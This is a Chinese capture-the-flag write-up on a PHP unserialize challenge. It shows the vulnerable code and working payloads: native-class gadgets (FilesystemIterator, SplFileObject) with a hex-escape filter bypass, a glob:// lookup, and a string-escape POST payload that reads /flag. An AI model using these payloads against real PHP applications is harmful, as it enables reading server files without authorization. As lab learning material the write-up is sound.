前言
之前就学过反序列化的字符串逃逸
但是没怎么做题
补一下窟窿
题目
<?phperror_reporting(0);class catalogue{public $class;public $data;public function __construct(){$this->class = "error";$this->data = "hacker";}public function __destruct(){echo new $this->class($this->data);}}class error{public function __construct($OTL){$this->OTL = $OTL;echo ("hello " . $this->OTL);}}class escape{public $name = 'OTL';public $phone = '123666';public $email = 'sweet@OTL.com';}function abscond($string){$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');$filter = '/' . implode('|', $filter) . '/i';return preg_replace($filter, 'hacker', $string);}if (isset($_GET['cata'])) {if (!preg_match('/object/i', $_GET['cata'])) {unserialize($_GET['cata']);} else {$cc = new catalogue();unserialize(serialize($cc));}if (isset($_POST['name']) && isset($_POST['phone']) && isset($_POST['email'])) {if (preg_match("/flag/i", $_POST['email'])) {die("nonono,you can not do that!");}$abscond = new escape();$abscond->name = $_POST['name'];$abscond->phone = $_POST['phone'];$abscond->email = $_POST['email'];$abscond = serialize($abscond);$escape = get_object_vars(unserialize(abscond($abscond)));if (is_array($escape['phone'])) {echo base64_encode(file_get_contents($escape['email']));} else {echo "I'm sorry to tell you that you are wrong";}}} else {highlight_file(__FILE__);}?>
思路
看到字符串逃逸
这题的关键应该是在这里
得到flag的触发点应该是在这里
但是
不知道flag在的文件名是啥
思路就断了
这里还允许我们get传个参数
看看能干嘛
这里找到可变参数
class的值可以自定义
并且通过data穿参
这样通过构造就能命令执行
这里看别人的wp
要用到PHP原生类函数 浅析PHP原生类 - 知乎
这里用FilesystemIterator这个迭代器读取跟目录的值
先构造一下试试
<?php
error_reporting(0);class catalogue
{public $class = 'FilesystemIterator';public $data = '/';}class escape
{public $name = 'OTL';public $phone = '123666';public $email = 'sweet@OTL.com';
}$a = new catalogue;
$b = new error;
$c = new escape;
echo serialize($a);
O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:1:"/";}
只有sys
看别人的wp得到这里要用glob协议找到flag文件
glob协议的用法:
glob:// - 开发帮助文档
O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///fl*";}
找到flag
在根目录下有一个flag文件,那么可不可以用一个原生类来读呢?是有的
可以利用SplFileObject这个原生类,但是对object进行了过滤,这里需要使用到反序列化的小知识点:
方便数据的传输,反序列化内容中大写的S表示字符串,可以识别内容里的十六进制
O:9:"catalogue":2:{s:5:"class";S:13:"SplFileO\62ject";s:4:"data";s:5:"/flag";}
这是一个非预期解 主要用到php原生函数的学习
预期解还是要用字符串逃逸
这里对三个post的值有两个限制
一个是email的值不能有/flag
一个是phone的值为数组
我们先构造一下
O:6:"escape":3:{s:4:"name";s:5:"/flag";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}
我们可以通过字符串逃逸构造name的值为xxx+“";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}”
最后的payload为
name=NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}&phone=123&email=111